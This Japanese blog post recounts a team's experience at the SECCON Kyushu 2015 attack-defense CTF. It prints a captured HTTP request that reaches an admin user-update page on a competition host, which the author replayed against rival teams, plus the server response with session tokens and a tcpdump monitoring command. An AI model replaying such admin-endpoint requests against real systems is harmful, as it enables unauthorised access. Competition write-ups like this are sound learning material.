読者です 読者をやめる 読者になる 読者になる

Twitterに書ききれないこと

イベントや技術的なことを記したい・・・

SECCON九州大会

11/28に開催されたSECCON九州大会に参加してきた.

大学の知り合い3人でチーム(0x990000)を組参加した.
結果はよくなかったが,いろいろと課題点を見つけることが出来た.

f:id:pinksawtooth:20151204153311p:plain

Attack

自分がWeb周りはよくわからないので,攻撃を受けたらpacpを解析して,受けた攻撃を他のチームにするという動きをしていた.

なんか変なところへのリクエストを見つけた f:id:pinksawtooth:20151207192834p:plain

Follow TCP Stream・・・あっあっあっなんか返してる・・・
ということでこれを他チームへやった

f:id:pinksawtooth:20151207192840p:plain

GET /admin/users/update/10 HTTP/1.1

Host: 10.0.7.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0 Iceweasel/40.0.3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: ja,en;q=0.5

Referer: http://10.0.7.1/admin/users

Connection: keep-alive

Cache-Control: max-age=0



HTTP/1.1 200 OK

Date: Fri, 27 Nov 2015 19:10:13 GMT

Server: Apache/2.4.10 (Raspbian)

Cache-Control: no-cache

Set-Cookie: XSRF-TOKEN=wkwFns8L3R0q0Ol83FHqUO6bl4o4QgpHwiyKiVUd; expires=Fri, 27-Nov-2015 21:10:13 GMT; Max-Age=7200; path=/

Set-Cookie: laravel_session=0def4f3c2a538eda003e9d46173e6416cc357e9b; expires=Fri, 27-Nov-2015 21:10:13 GMT; Max-Age=7200; path=/; httponly

Vary: Accept-Encoding

Content-Length: 1972

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8



<!DOCTYPE html>
<html>
<head>
.<meta charset="utf-8">
.<title>........................ | A&D..............................</title>
.<link type="text/css" rel="stylesheet" href="/css/main.css" />
</head>
<body>
<div class="container">
.<header>
..<a href="/">
...<img src="/img/s_ad.png" width="100" height="100" alt="a_and_d">
..</a>

....<ul>
...<li><a href="/admin">.........</a></li>
......<li><a href="/admin/topics">............</a></li>
...<li><a href="/admin/users">.........</a></li>
...<li><a href="/admin/cards">......</a></li>
...<li><a href="/admin/inquiries">..................</a></li>
...<li class="logout"><a href="/logout">...............</a></li>
.....</ul>
...</header>
.<section>
..<h1>........................</h1>
..
<form method="post" action="" class="normal-form">
.<fieldset>
..<label for="email">.....................:</label>
..<input type="text" name="email" id="email" value="&#039;">
.</fieldset>
.<fieldset>
..<label for="password">...............:</label>
..<input type="text" name="password" id="password" value="a">
.</fieldset>
.<fieldset>
..<label for="name">.........:</label>
..<input type="text" name="name" id="name" value="a">
.</fieldset>
.<fieldset>
..<label for="kana">......:</label>
..<input type="text" name="kana" id="kana" value="a">
.</fieldset>
.<fieldset>
..<label for="zip_code">............:</label>
..<input type="text" name="zip_code" id="zip_code" value="a">
.</fieldset>
.<fieldset>
..<label for="address">......:</label>
..<input type="text" name="address" id="address" value="a">
.</fieldset>
.<fieldset>
..<label for="tel">............:</label>
..<input type="text" name="tel" id="tel" value="a">
.</fieldset>
.<input type="hidden" name="_token" value="wkwFns8L3R0q0Ol83FHqUO6bl4o4QgpHwiyKiVUd">
.<button type="submit" class="normal-button center">......</button>
</form>
.</section>
.<footer>
..<p>Copyright 2015 .................................... All rights reserved.</p>
.</footer>
</div>
</body>
</html>

Defense

方針としては他チームのルータのIPアドレスiptablesではじき,サービスを動かし続けるというものだった. 各チームには171.16.TeamNo.1のルータと10.0.TeamNo.1のRaspberry Piが与えられるため,そのIPを指定しようと考えたが, 各チームの接続とサービス稼働チェックが10.0.0.1経由で行われるためDefenceポイントを捨てなければiptablesを利用することができなかった. (今思ば攻撃に全振りしてマイナス点を防ぐ作戦もとれたかもしれない) 脆弱性をほとんど潰せていなかったため他チームからの攻撃を防ぐことができず,かなりの点数が引かれてしまった.

他にはtcpdumpとlibpcapのRaspberry Pi用のパッケージを用意しておき,インストールして攻撃を監視していた.
サービス稼働チェックが3分おきだったのでrotate_secondsは180に設定した.

sudo tcpdump -i eth0  -G <rotate_seconds> -w ./dump/tcpdump_%H%M.pcap

感想

Defenseをアプリケーションレベルで考えておらず,システム側で対応しようとしていたためDefenseがひどかった.
攻撃に関してもWebアプリケーションの脆弱性攻撃の知識が足りなかったため,能動的に攻撃は出来なかった. しかし,攻撃時のpcapを解析して他チームへの攻撃へ利用できたのはA&Dっぽくてよかったかなと.

もっとWeb問を解けるようにしないと話にならないな・・・